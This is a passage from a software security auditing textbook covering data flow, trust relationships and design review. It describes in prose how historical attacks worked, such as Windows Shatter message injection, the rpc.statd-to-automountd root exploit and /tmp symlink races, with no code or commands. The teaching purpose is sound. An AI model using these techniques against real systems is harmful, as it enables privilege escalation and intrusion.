functions and classes, are generally considered to be implementation vulnerabilities. 

Implementation vulnerabilities also include more complex logical elements that are 

not normally addressed in the design specification. (These issues are often called 

logic vulnerabilities.) 

Likewise, there's no clear distinction between operational vulnerabilities and 

implementation or design vulnerabilities. For example, if a program is installed in an 

environment in a fashion that isn't secure, you could easily argue that it's a failure of 

the design or implementation. You would expect the application to be developed in a 

manner that's not vulnerable to these environmental concerns. Lacking a strict 

distinction again, the following definition of an operational vulnerability is used in this 

book: 

In general, the label "operational vulnerabilities" is used for issues that deal with 

unsafe deployment and configuration of software, unsound management and 

administration practices surrounding software, issues with supporting components 

such as application and Web servers, and direct attacks on the software's users. 

You can see that there's plenty of room for interpretation and overlap in the concepts 

of design, implementation, and operational vulnerabilities, so don't consider these 

definitions to be an infallible formal system for labeling software flaws. They are 

simply a useful way to approach and study software vulnerabilities. 

6.1.5 Common Threads 

So far you've learned some background on the audit process, security models, and 

the three common classes of vulnerabilities. This line of discussion is continued 
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throughout the rest of this book, as you drill down into the details of specific technical 

issues. For now, however, take a step back to look at some common threads that 

underlie security vulnerabilities in software, focusing primarily on where and why 

vulnerabilities are most likely to surface in software. 

Input and Data Flow 

The majority of software vulnerabilities result from unexpected behaviors triggered 

by a program's response to malicious data. So the first question to address is how 

exactly malicious data gets accepted by the system and causes such a serious impact. 

The best way to explain it is by starting with a simple example of a buffer overflow 

vulnerability. 

Consider a UNIX program that contains a buffer overflow triggered by an overly long 

command-line argument. In this case, the malicious data is user input that comes 

directly from an attacker via the command-line interface. This data travels through 

the program until some function uses it in an unsafe way, leading to an exploitable 

situation. 

For most vulnerabilities, you'll find some piece of malicious data that an attacker 

injects into the system to trigger the exploit. However, this malicious data might 

come into play through a far more circuitous route than direct user input. This data 

can come from several different sources and through several different interfaces. It 

might also pass through multiple components of a system and be modified a great 

deal before it reaches the location where it ultimately triggers an exploitable condition. 

Consequently, when reviewing a software system, one of the most useful attributes to 

consider is the flow of data throughout the system's various components. 

For example, you have an application that handles scheduling meetings for a large 

organization. At the end of every month, the application generates a report of all 

meetings coordinated in this cycle, including a brief summary of each meeting. Close 

inspection of the code reveals that when the application creates this summary, a 

meeting description larger than 1,000 characters results in an exploitable buffer 

overflow condition. 

To exploit this vulnerability, you would have to create a new meeting with a 

description longer than 1,000 characters, and then have the application schedule the 

meeting. Then you would need to wait until the monthly report was created to see 

whether the exploit worked. Your malicious data would have to pass through several 

components of the system and survive being stored in a database, all the while 

avoiding being spotted by another user of the system. Correspondingly, you have to 

evaluate the feasibility of this attack vector as a security reviewer. This viewpoint 

involves analyzing the flow of the meeting description from its initial creation, through 

multiple application components, and finally to its use in the vulnerable report 

generation code. 
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This process of tracing data flow is central to reviews of both the design and 

implementation of software. User-malleable data presents a serious threat to the 

system, and tracing the end-to-end flow of data is the main way to evaluate this 

threat. Typically, you must identify where user-malleable data enters the system 

through an interface to the outside world, such as a command line or Web request. 

Then you study the different ways in which user-malleable data can travel through 

the system, all the while looking for any potentially exploitable code that acts on the 

data. It's likely the data will pass through multiple components of a software system 

and be validated and manipulated at several points throughout its life span. 

This process isn't always straightforward. Often you find a piece of code that's almost 

vulnerable but ends up being safe because the malicious input is caught or filtered 

earlier in the data flow. More often than you would expect, the exploit is prevented 

only through happenstance; for example, a developer introduces some code for a 

reason completely unrelated to security, but it has the side effect of protecting a 

vulnerable component later down the data flow. Also, tracing data flow in a real-world 

application can be exceedingly difficult. Complex systems often develop organically, 

resulting in highly fragmented data flows. The actual data might traverse dozens of 

components and delve in and out of third-party framework code during the process of 

handling a single user request. 

Trust Relationships 

Different components in a software system place varying degrees of trust in each 

other, and it's important to understand these trust relationships when analyzing the 

security of a given software system. Trust relationships are integral to the flow of 

data, as the level of trust between components often determines the amount of 

validation that happens to the data exchanged between them. 

Designers and developers often consider an interface between two components to be 

trusted or designate a peer or supporting software component as trusted. This means 

they generally believe that the trusted component is impervious to malicious 

interference, and they feel safe in making assumptions about that component's data 

and behavior. Naturally, if this trust is misplaced, and an attacker can access or 

manipulate trusted entities, system security can fall like dominos. 

Speaking of dominos, when evaluating trust relationships in a system, it's important 

to appreciate the transitive nature of trust. For example, if your software system 

trusts a particular external component, and that component in turn trusts a certain 

network, your system has indirectly placed trust in that network. If the component's 

trust in the network is poorly placed, it might fall victim to an attack that ends up 

putting your software at risk. 

Assumptions and Misplaced Trust 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 35 

Another useful way of looking at software flaws is to think of them in terms of 

programmers and designers making unfounded assumptions when they create 

software. Developers can make incorrect assumptions about many aspects of a piece 

of software, including the validity and format of incoming data, the security of 

supporting programs, the potential hostility of its environment, the capabilities of its 

attackers and users, and even the behaviors and nuances of particular application 

programming interface (API) calls or language features. 

The concept of inappropriate assumptions is closely related to the concept of 

misplaced trust because you can say that placing undue trust in a component is much 

the same as making an unfounded assumption about that component. The following 

sections discuss several ways in which developers can make security-relevant 

mistakes by making unfounded assumptions and extending undeserved trust. 

Input 

As stated earlier, the majority of software vulnerabilities are triggered by attackers 

injecting malicious data into software systems. One reason this data can cause such 

trouble is that software often places too much trust in its communication peers and 

makes assumptions about the data's potential origins and contents. 

Specifically, when developers write code to process data, they often make 

assumptions about the user or software component providing that data. When 

handling user input, developers often assume users aren't likely to do things such as 

enter a 5,000-character street address containing nonprintable symbols. Similarly, if 

developers are writing code for a programmatic interface between two software 

components, they usually make assumptions about the input being well formed. For 

example, they might not anticipate a program placing a negative length binary record 

in a file or sending a network request that's four billion bytes long. 

In contrast, attackers looking at input-handling code try to consider every possible 

input that can be entered, including any input that might lead to an inconsistent or 

unexpected program state. Attackers try to explore every accessible interface to a 

piece of software and look specifically for any assumptions the developer made. For 

an attacker, any opportunity to provide unexpected input is gold because this input 

often has a subtle impact on later processing that the developers didn't anticipate. In 

general, if you can make an unanticipated change in software's runtime properties, 

you can often find a way to leverage it to have more influence on the program. 

Interfaces 

Interfaces are the mechanisms by which software components communicate with 

each other and the outside world. Many vulnerabilities are caused by developers not 

fully appreciating the security properties of these interfaces and consequently 

assuming that only trusted peers can use them. If a program component is accessible 
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via the network or through various mechanisms on the local machine, attackers might 

be able to connect to that component directly and enter malicious input. If that 

component is written so that it assumes its peer is trustworthy, the application is 

likely to mishandle the input in an exploitable manner. 

What makes this vulnerability even more serious is that developers often incorrectly 

estimate the difficulty an attacker has in reaching an interface, so they place trust in 

the interface that isn't warranted. For example, developers might expect a high 

degree of safety because they used a proprietary and complex network protocol with 

custom encryption. They might incorrectly assume that attackers won't be likely to 

construct their own clients and encryption layers and then manipulate the protocol in 

unexpected ways. Unfortunately, this assumption is particularly unsound, as many 

attackers find a singular joy in reverse engineering a proprietary protocol. 

To summarize, developers might misplace trust in an interface for the following 

reasons: 

 They choose a method of exposing the interface that doesn't provide enough 

protection from external attackers. 

 They choose a reliable method of exposing the interface, typically a service of 

the OS, but they use or configure it incorrectly. The attacker might also exploit 

a vulnerability in the base platform to gain unexpected control over that 

interface. 

 They assume that an interface is too difficult for an attacker to access, which 

is usually a dangerous bet. 

Environmental Attacks 

Software systems don't run in a vacuum. They run as one or more programs 

supported by a larger computing environment, which typically includes components 

such as operating systems, hardware architectures, networks, file systems, 

databases, and users. 

Although many software vulnerabilities result from processing malicious data, some 

software flaws occur when an attacker manipulates the software's underlying 

environment. These flaws can be thought of as vulnerabilities caused by assumptions 

made about the underlying environment in which the software is running. Each type 

of supporting technology a software system might rely on has many best practices 

and nuances, and if an application developer doesn't fully understand the potential 

security issues of each technology, making a mistake that creates a security exposure 

can be all too easy. 

The classic example of this problem is a type of race condition you see often in UNIX 

software, called a /tmp race (pronounced "temp race"). It occurs when a program 

needs to make use of a temporary file, and it creates this file in a public directory on 
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the system, located in /tmp or /var/tmp. If the program hasn't been written carefully, 

an attacker can anticipate the program's moves and set up a trap for it in the public 

directory. If the attacker creates a symbolic link in the right place and at the right time, 

the program can be tricked into creating its temporary file somewhere else on the 

system with a different name. This usually leads to an exploitable condition if the 

vulnerable program is running with root (administrator) privileges. 

In this situation, the vulnerability wasn't triggered through data the attacker supplied 

to the program. Instead, it was an attack against the program's runtime environment, 

which caused the program's interaction with the OS to proceed in an unexpected and 

undesired fashion. 

Exceptional Conditions 

Vulnerabilities related to handling exceptional conditions are intertwined with data 

and environmental vulnerabilities. Basically, an exceptional condition occurs when 

an attacker can cause an unexpected change in a program's normal control flow via 

external measures. This behavior can entail an asynchronous interruption of the 

program, such as the delivery of a signal. It might also involve consuming global 

system resources to deliberately induce a failure condition at a particular location in 

the program. 

For example, a UNIX system sends a SIGPIPE signal if a process attempts to write to 

a closed network connection or pipe; the default behavior on receipt of this signal is 

to terminate the process. An attacker might cause a vulnerable program to write to a 

pipe at an opportune moment, and then close the pipe before the application can 

perform the write operation successfully. This would result in a SIGPIPE signal that 

could cause the application to abort and perhaps leave the overall system in an 

unstable state. For a more concrete example, the Network File System (NFS) status 

daemon of some Linux distributions was vulnerable to crashing caused by closing a 

connection at the correct time. Exploiting this vulnerability created a disruption in 

NFS functionality that persisted until an administrator can intervene and reset the 

daemon. 

6.1.6 Summary 

You've covered a lot of ground in this short chapter and might be left with a number 

of questions. Don't worry; subsequent chapters delve into more detail and provide 

answers as you progress. For now, it's important that you have a good understanding 

of what can go wrong in computer software and understand the terminology used in 

discussing these issues. You should also have developed an appreciation of the need 

for security auditing of applications and become familiar with different aspects of the 

process. In later chapters, you build on this foundation as you learn how to use this 

audit process to identify vulnerabilities in the applications you review. 
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6.2 Chapter 2.  Design Review 

"Sure. Each one of us is wearing an unlicensed nuclear accelerator on our back. No 

problem." 

Bill Murray as Dr. Peter Venkman, Ghostbusters (1984) 

6.2.1 Introduction 

Computer security people tend to fall into one of two camps on design review. People 

from a formal development background are usually receptive to the design review 

process. This is only natural, as it maps closely to most formal software development 

methodologies. The design review process can also seem to be less trouble than 

reviewing a large application code base manually. 

In the other camp are code auditors who delight in finding the most obscure and 

complex vulnerabilities. This crowd tends to look at design review as an ivory-tower 

construct that just gets in the way of the real work. Design review's formalized 

process and focus on documentation come across as a barrier to digging into the 

code. 

The truth is that design review falls somewhere between the views of these two 

camps, and it has value for both. Design review is a useful tool for identifying 

vulnerabilities in application architecture and prioritizing components for 

implementation review. It doesn't replace implementation review, however; it's just 

a component of the complete review process. It makes identifying design flaws a lot 

easier and provides a more thorough analysis of the security of a software design. In 

this capacity, it can make the entire review process more effective and ensure the 

best return for the time you invest. 

This chapter gives you some background on the elements of software design and 

design vulnerabilities, and introduces a review process to help you identify security 

concerns in a software design. 

6.2.2 Software Design Fundamentals 

Before you tackle the subject of design review, you need to review some 

fundamentals of software design. Many of these concepts tie in closely with the 

security considerations addressed later in the chapter, particularly in the discussion of 

threat modeling. The following sections introduce several concepts that help establish 

an application's functional boundaries with respect to security. 

Algorithms 
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Software engineering can be summed up as the process of developing and 

implementing algorithms. From a design perspective, this process focuses on 

developing key program algorithms and data structures as well as specifying problem 

domain logic. To understand the security requirements and vulnerability potential of 

a system design, you must first understand the core algorithms that comprise a 

system. 

Problem Domain Logic 

Problem domain logic (or business logic) provides rules that a program follows as 

it processes data. A design for a software system must include rules and processes for 

the main tasks the software carries out. One major component of software design is 

the security expectations associated with the system's users and resources. For 

example, consider banking software with the following rules: 

 A person can transfer money from his or her main account to any valid 

account. 

 A person can transfer money from his or her money market account to any 

valid account. 

 A person can transfer money from his or her money market account only once 

a month. 

 If a person goes below a zero balance in his or her main account, money is 

automatically transferred from his or her money market account to cover the 

balance, if that money is available. 

This example is simple, but you can see that bank customers might be able to get 

around the once-a-month transfer restriction on money market accounts. They could 

intentionally drain their main account below zero to "free" money from their monkey 

market accounts. Therefore, the design for this system has an oversight that bank 

customers could potentially exploit. 

Key Algorithms 

Often programs have performance requirements that dictate the choice of algorithms 

and data structures used to manage key pieces of data. Sometimes it's possible to 

evaluate these algorithm choices from a design perspective and predict security 

vulnerabilities that might affect the system. 

For example, you know that a program stores an incoming series of records in a 

sorted linked list that supports a basic sequential search. Based on this knowledge, 

you can foresee that a specially crafted huge list of records could cause the program 

to spend considerable time searching through the linked list. Repeated focused 

attacks on a key algorithm such as this one could easily lead to temporary or even 

permanent disruption of a server's functioning. 
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Abstraction and Decomposition 

Every text on software design inevitably covers two essential concepts: abstraction 

and decomposition. You are probably familiar with these concepts already, but if not, 

the following paragraphs give you a brief overview. 

Abstraction is a method for reducing the complexity of a system to make it more 

manageable. To do this, you isolate only the most important elements and remove 

unnecessary details. Abstractions are an essential part of how people perceive the 

world around them. They explain why you can see a symbol such as and associate 

it with a smiling face. Abstractions allow you to generalize a concept, such as a face, 

and group-related concepts, such as smiling faces and frowning faces. 

In software design, abstractions are how you model the processes an application will 

perform. They enable you to establish hierarchies of related systems, concepts, and 

processesisolating the problem domain logic and key algorithms. In effect, the design 

process is just a method of building a set of abstractions that you can develop into an 

implementation. This process becomes particularly important when a piece of 

software must address the concerns of a range of users, or its implementation must 

be distributed across a team of developers. 

Decomposition (or factoring) is the process of defining the generalizations and 

classifications that compose an abstraction. Decomposition can run in two different 

directions. Top-down decomposition, known as specialization, is the process of 

breaking a larger system into smaller, more manageable parts. Bottom-up 

decomposition, called generalization, involves identifying the similarities in a 

number of components and developing a higher-level abstraction that applies to all of 

them. 

The basic elements of structural software decomposition can vary from language to 

language. The standard top-down progression is application, module, class, and 

function (or method). Some languages might not support every distinction in this list 

(for example, C doesn't have language support for classes); other languages add 

more distinctions or use slightly different terminology. The differences aren't that 

important for your purposes, but to keep things simple, this discussion generally 

sticks to modules and functions. 

Trust Relationships 

In Chapter 1(? [????.]), "Software Vulnerability Fundamentals," the concept of trust 

and how it affects system security was introduced. This chapter expands on that 

concept to state that every communication between multiple parties must have some 

degree of trust associated with it. This is referred to as a trust relationship. For 

simple communications, both parties can assume complete trustthat is, each 
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communicating party allows other parties participating in the communication 

complete access to its exposed functionality. For security purposes, however, you're 

more concerned with situations in which communicating parties should restrict their 

trust of one another. This means parties can access only a limited subset of each 

other's functionality. The limitations imposed on each party in a communication 

define a trust boundary between them. A trust boundary distinguishes between 

regions of shared trust, known as trust domains. (Don't worry if you're a bit 

confused by these concepts; some examples are provided in the next section.) 

A software design needs to account for a system's trust domains, boundaries, and 

relationships; the trust model is the abstraction that represents these concepts and 

is a component of the application's security policy. The impact of this model is 

apparent in how the system is decomposed, as trust boundaries tend to be module 

boundaries, too. The model often requires that trust not be absolute; instead, it 

supports varying degrees of trust referred to as privileges. A classic example is the 

standard UNIX file permissions, whereby a user can provide a limited amount of 

access to a file for other users on the system. Specifically, users can dictate whether 

other users are allowed to read, write, or execute (or any combination of these 

permissions) the file in question, thus extending a limited amount of trust to other 

users of the system. 

Simple Trust Boundaries 

As an example of a trust relationship, consider a basic single-user OS, such as 

Windows 98. To keep the example simple, assume that there's no network involved. 

Windows 98 has basic memory protection and some notion of users but offers no 

measure of access control or enforcement. In other words, if users can log in to a 

Windows 98 system, they are free to modify any files or system settings they please. 

Therefore, you have no expectation of security from any user who can log on 

interactively. 

You can determine that there are no trust boundaries between interactive users of the 

same Windows 98 system. You do, however, make an implicit assumption about who 

has physical access to the system. So you can say that the trust boundary in this 

situation defines which users have physical access to the system and which do not. 

That leaves you with a single domain of trusted users and an implicit domain that 

represents all untrusted users. 

To complicate this example a bit, say you've upgraded to a multiuser OS, such as 

Windows XP Professional. This upgrade brings with it a new range of considerations. 

You expect that two normally privileged users shouldn't be able to manipulate each 

other's data or processes. Of course, this expectation assumes you aren't running as 

an administrative user. So now you have an expectation of confidentiality and 

integrity between two users of the system, which establishes their trust relationship 

and another trust boundary. You also have to make allowances for the administrative 
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user, which adds another boundary: Nonadministrative users can't affect the integrity 

or configuration of the system. This expectation is a natural progression that's 

necessary to enforce the boundary between users. After all, if any user could affect 

the state of the system, you would be right back to a single-user OS. Figure 2-1 is a 

graphical representation of this multiuser OS trust relationship. 

Figure 2-1. Simple trust boundaries 
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Now take a step back and consider something about the nature of trust. That is, every 

system must eventually have some absolutely trusted authority. There's no way 

around this because someone must be responsible for the state of the system. That's 

why UNIX has a root account, and Windows has an administrator account. You can, of 

course, apply a range of controls to this level of authority. For instance, both UNIX 

and Windows have methods of granting degrees of administrative privilege to 

different users and for specific purposes. The simple fact remains, however, that in 

every trust boundary, you have at least one absolute authority that can assume 

responsibility. 

Complex Trust Relationships 

So far, you've looked at fairly simple trust relationships to get a sense of the problem 

areas you need to address later. However, some of the finer details have been glossed 

over. To make the discussion a bit more realistic, consider the same system 

connected to a network. 

After you hook a system up to a network, you have to start adding a range of 

distinctions. You might need to consider separate domains for local users and remote 

users of the system, and you'll probably need a domain for people who have network 
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access to the system but aren't "regular" users. Firewalls and gateways further 

complicate these distinctions and allow more separations. 

It should be apparent that defining and applying a trust model can have a huge 

impact on any software design. The real work begins before the design process is 

even started. The feasibility study and requirements-gathering phases must 

adequately identify and define users' security expectations and the associated factors 

of the target environment. The resulting model must be robust enough to meet these 

needs, but not so complex that it's too difficult to implement and apply. In this way, 

security has to carefully balance the concerns of clarity with the need for accuracy. 

When you examine threat modeling later in this chapter, you take trust models into 

account by evaluating the boundaries between different system components and the 

rights of different entities on a system. 

Chain of Trust 

Chapter 1(? [????.]) also introduced the concept of transitive trust. Essentially, it 

means that if component A trusts component B, component A must implicitly trust all 

components trusted by component B. This concept can also be called a chain of trust 

relationship. 

A chain of trust is a completely viable security construct and the core of many 

systems. Consider the way certificates are distributed and validated in a typical 

Secure Sockets Layer (SSL) connection to a Web server. You have a local database of 

signatures that identifies providers you trust. These providers can then issue a 

certificate to a certificate authority (CA), which might then be extended to other 

authorities. Finally, the hosting site has its certificate signed by one of these 

authorities. You must follow this chain of trust from CA to CA when you establish an 

SSL connection. The traversal is successful only when you reach an authority that's in 

your trusted database. 

Now say you want to impersonate a Web site for some nefarious means. For the 

moment, leave Domain Name System (DNS) out of the picture because it's often an 

easy target. Instead, all you want to do is find a way to manipulate the certificate 

database anywhere in the chain of trust. This includes manipulating the client 

certificate database of visitors, compromising the target site directly, or manipulating 

any CA database in the chain, including a root CA. 

It helps to repeat that last part, just to make sure the emphasis is clear. The transitive 

nature of the trust shared by every CA means that a compromise of any CA allows an 

attacker to impersonate any site successfully. It doesn't matter if the CA that issued 

the real certificate is compromised because any certificate issued by a valid CA will 

suffice. This means the integrity of any SSL transaction is only as strong as the 

weakest CA. Unfortunately, this method is the best that's available for establishing a 

host's identity. 
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Some systems can be implemented only by using a transitive chain of trust. As an 

auditor, however, you want to look closely at the impact of choosing this trust model 

and determine whether a chain of trust is appropriate. You also need to follow trusts 

across all the included components and determine the real exposure of any 

component. You'll often find that the results of using a chain of trust are complex and 

subtle trust relationships that attackers could exploit. 

Defense in Depth 

Defense in depth is the concept of layering protections so that the compromise of 

one aspect of a system is mitigated by other controls. Simple examples of defense in 

depth include using low privileged accounts to run services and daemons, and 

isolating different functions to different pieces of hardware. More complex examples 

include network demilitarized zones (DMZs), chroot jails, and stack and heap guards. 

Layered defenses should be taken into consideration when you're prioritizing 

components for review. You would probably assign a lower priority to an 

intranet-facing component running on a low privileged account, inside a chroot jail, 

and compiled with buffer protection. In contrast, you would most likely assign a 

higher priority to an Internet-facing component that must run as root. This is not to 

say that the first component is safe and the second isn't. You just need to look at the 

evidence and prioritize your efforts so that they have the most impact. Prioritizing 

threats is discussed in more detail in "Threat Modeling" later on in this chapter. 

Principles of Software Design 

The number of software development methodologies seems to grow directly in 

proportion to the number of software developers. Different methodologies suit 

different needs, and the choice for a project varies based on a range of factors. 

Fortunately, every methodology shares certain commonly accepted principles. The 

four core principles of accuracy, clarity, loose coupling, and strong cohesion 

(discussed in the following sections) apply to every software design and are a good 

starting point for any discussion of how design can affect security. 

Accuracy 

Accuracy refers to how effectively design abstractions meet the associated 

requirements. (Remember the discussion on requirements in Chapter 1(? [????.]).) 

Accuracy includes both how correctly abstractions model the requirements and how 

reasonably they can be translated into an implementation. The goal is, of course, to 

provide the most accurate model with the most direct implementation possible. 

In practice, a software design might not result in an accurate translation into an 

implementation. Oversights in the requirements-gathering phase could result in a 

design that misses important capabilities or emphasizes the wrong concerns. Failures 
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in the design process might result in an implementation that must diverge drastically 

from the design to meet real-world requirements. Even without failures in the process, 

expectations and requirements often change during the implementation phase. All 

these problems tend to result in an implementation that can diverge from the 

intended (and documented) design. 

Discrepancies between a software design and its implementation result in 

weaknesses in the design abstraction. These weaknesses are fertile ground for a 

range of bugs to creep in, including security vulnerabilities. They force developers to 

make assumptions outside the intended design, and a failure to communicate these 

assumptions often creates vulnerability-prone situations. Watch for areas where the 

design isn't adequately defined or places unreasonable expectations on 

programmers. 

Clarity 

Software designs can model extremely complex and often confusing processes. To 

achieve the goal of clarity, a good design should decompose the problem in a 

reasonable manner and provide clean, self-evident abstractions. Documentation of 

the structure should also be readily available and well understood by all developers 

involved in the implementation process. 

An unnecessarily complex or poorly documented design can result in vulnerabilities 

similar to those of an inaccurate design. In this case, weaknesses in the abstraction 

occur because the design is simply too poorly understood for an accurate 

implementation. Your review should identify design components that are 

inadequately documented or exceptionally complex. You see examples of this 

problem throughout the book, especially when variable relationships are tackled in 

Chapter 7(? [????.]), "Program Building Blocks." 

Loose Coupling 

Coupling refers to the level of communication between modules and the degree to 

which they expose their internal interfaces to each other. Loosely coupled modules 

exchange data through well-defined public interfaces, which generally leads to more 

adaptable and maintainable designs. In contrast, strongly coupled modules have 

complex interdependencies and expose important elements of their internal 

interfaces. 

Strongly coupled modules generally place a high degree of trust in each other and 

rarely perform data validation for their communication. The absence of well-defined 

interfaces in these communications also makes data validation difficult and error 

prone. This tends to lead to security flaws when one of the components is malleable 

to an attacker's control. From a security perspective, you want to look out for any 

strong intermodule coupling across trust boundaries. 
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Strong Cohesion 

Cohesion refers to a module's internal consistency. This consistency is primarily the 

degree to which a module's interfaces handle a related set of activities. Strong 

cohesion encourages the module to handle only closely related activities. A side effect 

of maintaining strong cohesion is that it tends to encourage strong intramodule 

coupling (the degree of coupling between different components of a single module). 

Cohesion-related security vulnerabilities can occur when a design fails to decompose 

modules along trust boundaries. The resulting vulnerabilities are similar to strong 

coupling issues, except that they occur within the same module. This is often a result 

of systems that fail to incorporate security in the early stages of their design. Pay 

special attention to designs that address multiple trust domains within a single 

module. 

Fundamental Design Flaws 

Now that you have a foundational understanding, you can consider a few examples of 

how fundamental design concepts affect security. In particular, you need to see how 

misapplying these concepts can create security vulnerabilities. When reading the 

following examples, you'll notice quickly that they tend to result from a combination 

of issues. Often, an error is open to interpretation and might depend heavily on the 

reviewer's perspective. Unfortunately, this is part of the nature of design flaws. They 

usually affect the system at a conceptual level and can be difficult to categorize. 

Instead, you need to concentrate on the issue's security impact, not get caught up in 

the categorization. 

Exploiting Strong Coupling 

This section explores a fundamental design flaw resulting from a failure to decompose 

an application properly along trust boundaries. The general issue is known as the 

Shatter class of vulnerabilities, originally reported as part of independent research 

conducted by Chris Paget. The specific avenue of attack takes advantage of certain 

properties of the Windows GUI application programming interface (API). The 

following discussion avoids many details in order to highlight the design specific 

nature of Shatter vulnerabilities. Chapter 12(? [????.]), "Windows II: Interprocess 

Communication," provides a much more thorough discussion of the technical details 

associated with this class of vulnerabilities. 

Windows programs use a messaging system to handle all GUI-related events; each 

desktop has a single message queue for all applications associated with it. So any two 

processes running on the same desktop can send messages to each other, regardless 

of the user context of the processes. This can cause an issue when a higher privileged 

process, such as a service, is running on a normal user's desktop. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 47 

The Windows API provides the SetTimer() function to schedule sending a WM_TIMER 

message. This message can include a function pointer that is invoked when the 

default message handler receives the WM_TIMER message. This creates a situation in 

which a process can control a function call in any other process that shares its desktop. 

An attacker's only remaining concern is how to supply code for execution in the target 

process. 

The Windows API includes a number of messages for manipulating the content of 

window elements. Normally, they are used for setting the content of text boxes and 

labels, manipulating the Clipboard's content, and so forth. However, an attacker can 

use these messages to insert data into the address space of a target process. By 

combining this type of message with the WM_TIMER message, an attacker can build and 

run arbitrary code in any process on the same desktop. The result is a privilege 

escalation vulnerability that can be used against services running on the interactive 

desktop. 

After this vulnerability was published, Microsoft changed the way the WM_TIMER 

message is handled. The core issue, however, is that communication across a desktop 

must be considered a potential attack vector. This makes more sense when you 

consider that the original messaging design was heavily influenced by the concerns of 

single-user OS. In that context, the design was accurate, understandable, and 

strongly cohesive. 

This vulnerability demonstrates why it's difficult to add security to an existing design. 

The initial Windows messaging design was sound for its environment, but introducing 

a multiuser OS changed the landscape. The messaging queue now strongly couples 

different trust domains on the same desktop. The result is new types of vulnerabilities 

in which the desktop can be exploited as a public interface. 

Exploiting Transitive Trusts 

A fascinating Solaris security issue highlights how attackers can manipulate a trusted 

relationship between two components. Certain versions of Solaris included an RPC 

program, automountd, that ran as root. This program allowed the root user to specify 

a command to run as part of a mounting operation and was typically used to handle 

mounting and unmounting on behalf of the kernel. The automountd program wasn't 

listening on an IP network and was available only through three protected loopback 

transports. This meant the program would accept commands only from the root user, 

which seems like a fairly secure choice of interface. 

Another program, rpc.statd, runs as root and listens on Transmission Control 

Protocol (TCP) and User Datagram Protocol (UDP) interfaces. It's used as part of the 

Network File System (NFS) protocol support, and its purpose is to monitor NFS 

servers and send out a notification in case they go down. Normally, the NFS lock 

daemon asks rpc.statd to monitor servers. However, registering with rpc.statd 
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requires the client to tell it which host to contact and what RPC program number to 

call on that host. 

So an attacker can talk to a machine's rpc.statd and register the automountd program 

for receipt of crash notifications. Then the attacker tells rpc.statd that the monitored 

NFS server has crashed. In response, rpc.statd contacts the automountd daemon on 

the local machine (through the special loopback interface) and gives it an RPC 

message. This message doesn't match up to what automountd is expecting, but with 

some manipulation, you can get it to decode into a valid automountd request. The 

request comes from root via the loopback transport, so automountd thinks it's from the 

kernel module. The result is that it carries out a command of the attacker's choice. 

In this case, the attack against a public interface to rpc.statd was useful only in 

establishing trusted communication with automountd. It occurred because an implicit 

trust is shared between all processes running under the same account. Exploiting this 

trust allowed remote attackers to issue commands to the automountd process. Finally, 

assumptions about the source of communication caused developers to be lenient in 

the format automountd accepts. These issues, combined with the shared trust between 

these modules, resulted in a remote root-level vulnerability. 

Failure Handling 

Proper failure handling is an essential component of clear and accurate usability in a 

software design. You simply expect an application to handle irregular conditions 

properly and provide users with assistance in solving problems. However, failure 

conditions can create situations in which usability and security appear to be in 

opposition. Occasionally, compromises must be made in an application's functionality 

so that security can be enforced. 

Consider a networked program that detects a fault or failure condition in data it 

receives from a client system. Accurate and clear usability dictates that the 

application attempt to recover and continue processing. When recovery isn't possible, 

the application should assist users in diagnosing the problem by supplying detailed 

information about the error. 

However, a security-oriented program generally takes an entirely different approach, 

which might involve terminating the client session and providing the minimum 

amount of feedback necessary. This approach is taken because a program designed 

around an ideal of security assumes that failure conditions are the result of attackers 

manipulating the program's input or environment. From that perspective, the 

attempt to work around the problem and continue processing often plays right into an 

attacker's hands. The pragmatic defensive reaction is to drop what's going on, scream 

bloody murder in the logs, and abort processing. Although this reaction might seem to 

violate some design principles, it's simply a situation in which the accuracy of security 

requirements supersedes the accuracy and clarity of usability requirements. 
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6.2.3 Enforcing Security Policy 

Chapter 1(? [????.]) discussed security expectations and how they affect a system. 

Now you can take those concepts and develop a more detailed understanding of how 

security expectations are enforced in a security policy. Developers implement a 

security policy primarily by identifying and enforcing trust boundaries. As an auditor, 

you need to analyze the design of these boundaries and the code implementing their 

enforcement. In order to more easily address the elements of the security policy, 

enforcement is broken up into six main types discussed in the following sections. 

Authentication 

Authentication is the process by which a program determines who a user claims to 

be and then checks the validity of that claim. A software component uses 

authentication to establish the identity of a peer (client or server) when initiating 

communication. A classic example is requiring the user of a Web site to enter a 

username and password. Authentication isn't just for human peers, either, as you can 

see in the previous discussion of SSL certificates. In that example, the systems 

authenticated with each other to function safely over an untrustworthy interface. 

Common Vulnerabilities of Authentication 

One notable design oversight is to not require authentication in a situation that 

warrants it. For example, a Web application presents a summary of sensitive 

corporate accounting information that could be useful for insider trading. Exposing 

that information to arbitrary Internet users without asking for some sort of 

authentication would be a design flaw. Note that "lack of authentication" issues aren't 

always obvious, especially when you're dealing with peer modules in a large 

application. Often it's difficult to determine that an attacker can get access to a 

presumably internal interface between two components. 

Typically, the best practice is to centralize authentication in the design, especially in 

Web applications. Some Web applications require authentication for users who come 

in through a main page but don't enforce authentication in follow-on pages. This lack 

of authentication means you could interact with the application without ever having to 

enter a username or password. In contrast, centralized authentication mitigates this 

issue by validating every Web request within the protected domain. 

Untrustworthy Credentials 

Another common mistake happens when some authentication information is 

presented to the software, but the information isn't trustworthy. This problem often 

happens when authentication is performed on the client side, and an attacker can 

completely control the client side of the connection. For example, the SunRPC 

framework includes the AUTH_UNIX authentication scheme, which basically amounts to 
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fully trusting the client system. The client simply passes along a record that tells the 

server what the user and group IDs are, and the server just accepts them as fact. 

UNIX systems used to include a RPC daemon called rexd (remote execute daemon). 

The purpose of this program was to let a remote user run a program on the system as 

a local user. If you were to connect to the rexd system and tell the rexd program to 

run the /bin/sh command as the user bin, the program would run a shell as bin and 

let you interact with it. That's about all there was to it, with the exception that you 

couldn't run programs as the root user. Typically, getting around this restriction takes 

only a few minutes after you have a shell running as bin. More recently, a remote root 

flaw was exposed in the default installation of sadmind on Solaris; it treated the 

AUTH_UNIX authentication as sufficient validation for running commands on behalf of 

the client. 

Note 

The bug in sadmind is documented at www.securityfocus.com/bid/2354/info. 

 

Many network daemons use the source IP address of a network connection or packet 

to establish a peer's identity. By itself, this information isn't a sufficient credential and 

is susceptible to tampering. UDP can be trivially spoofed, and TCP connections can be 

spoofed or intercepted in various situations. UNIX provides multiple daemons that 

honor the concept of trusted hosts based on source address. These daemons are rshd 

and rlogind, and even sshd can be configured to honor these trust relationships. By 

initiating, spoofing, or hijacking a TCP connection from a trusted machine on a 

